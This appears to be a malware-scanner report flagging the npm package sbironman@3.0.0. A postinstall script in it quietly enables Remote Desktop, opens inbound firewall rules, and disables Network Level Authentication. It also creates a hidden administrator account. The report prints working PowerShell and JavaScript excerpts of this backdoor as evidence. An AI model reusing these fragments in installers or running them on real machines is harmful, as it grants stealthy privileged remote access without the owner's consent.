Loading npm security reports…

sbironman@3.0.0: Malicious npm security report (Block) | LPM Firewall

registry / sbironman / 3.0.0

sbironman@3.0.0

Internal Windows installer for Bikli CLI and Bikli Wrapper

AI Security Review

scanned 3h ago · by lpm-firewall-ai

The npm postinstall elevates and configures an exposed RDP service, creates or enables a hidden administrator-capable account, and disguises the installed service. This is concrete unconsented host compromise behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation runs postinstall on Windows.

Impact

Remote access is enabled on port 3389 with weakened authentication, hidden privileged accounts, firewall exposure, and disguised service artifacts.

Mechanism

privileged RDP backdoor setup with stealth and persistence changes

Attack narrative

On installation, the package requests elevation, silently runs bundled installers, enables and persists Remote Desktop, creates inbound firewall rules, disables Network Level Authentication, and grants an enabled account membership in Administrators and Remote Desktop Users. It hides that account from the Windows sign-in screen, hides related folders, removes history artifacts, and renames the service to resemble Windows infrastructure. These actions establish stealthy privileged remote access without an explicit user command.

Rationale

This package performs a malicious install-time Windows backdoor chain rather than a package-aligned setup. The absence of outbound JavaScript networking does not reduce the concrete remote-access and stealth impact.

Evidence

package.jsonbin/biklimaster.jslib/bikliwrapper.jspayload/bikli-cli-installer.exepayload/RDPWInst.exepayload/rdpwrap.iniconfig.json

Decision evidence

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/biklimaster.js install --postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/biklimaster.js install --postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

lib/bikliwrapper.jsView file

59const requestedSettings = [ { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' }, { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' }, { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' }, { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' }, { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' }, { key: rdpTcpKey, name: 'Sec

High

Ai Review Evidence

Install enables RDP, opens firewall rules, and disables Network Level Authentication.

lib/bikliwrapper.jsView on unpkg · L59

228function ensureFirewallRules() { const script = [ `$ErrorActionPreference='Stop'`, // RDP TCP + UDP inbound rules `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`, `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,

High

Ai Review Evidence

Install enables RDP, opens firewall rules, and disables Network Level Authentication.

lib/bikliwrapper.jsView on unpkg · L228

bin/biklimaster.jsView file

796`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{

High

Ai Review Evidence

Install creates/enables an administrator-capable RDP account and hides it from the sign-in screen.

bin/biklimaster.jsView on unpkg · L796

801`$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`, `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`, `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`, `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne

High

Ai Review Evidence

Install creates/enables an administrator-capable RDP account and hides it from the sign-in screen.

bin/biklimaster.jsView on unpkg · L801

Lines 208-248javascript

208 installedSupported: installed && iniSupports(installedIniPath, version),

209 bundledSupported: iniSupports(bundledIniPath, version)

210 };

211}

212

213function applyRequestedSettings() {

214 let changed = false;

215 for (const setting of requestedSettings) {

216 const oldValue = queryDword(setting.key, setting.name);

217 if (oldValue !== setting.value) {

218 run(path.join(system32, 'reg.exe'), [

219 'add', setting.key, '/v', setting.name, '/t', 'REG_DWORD',

220 '/d', String(setting.value), '/f', '/reg:64'

221 ]);

222 changed = true;

223 }

224 }

225 return changed;

226}

227

228function ensureFirewallRules() {

229 const script = [

230 `$ErrorActionPreference='Stop'`,

231 // RDP TCP + UDP inbound rules

232 `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,

233 `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,

High

Ai Review Evidence

Install enables RDP, opens firewall rules, and disables Network Level Authentication.

lib/bikliwrapper.jsView on unpkg · L228

234 // ICMP Echo (ping) inbound rules – without this the host is unreachable by ping

235 `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,

236 `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,

237 `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,

238 `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,

239 // Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles

240 `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,

241 `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`

242 ].join(';');

243 run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);

244}

245

246function runInstaller(argument) {

247 return run(installerPath, [argument], { cwd: payloadDirectory });

248}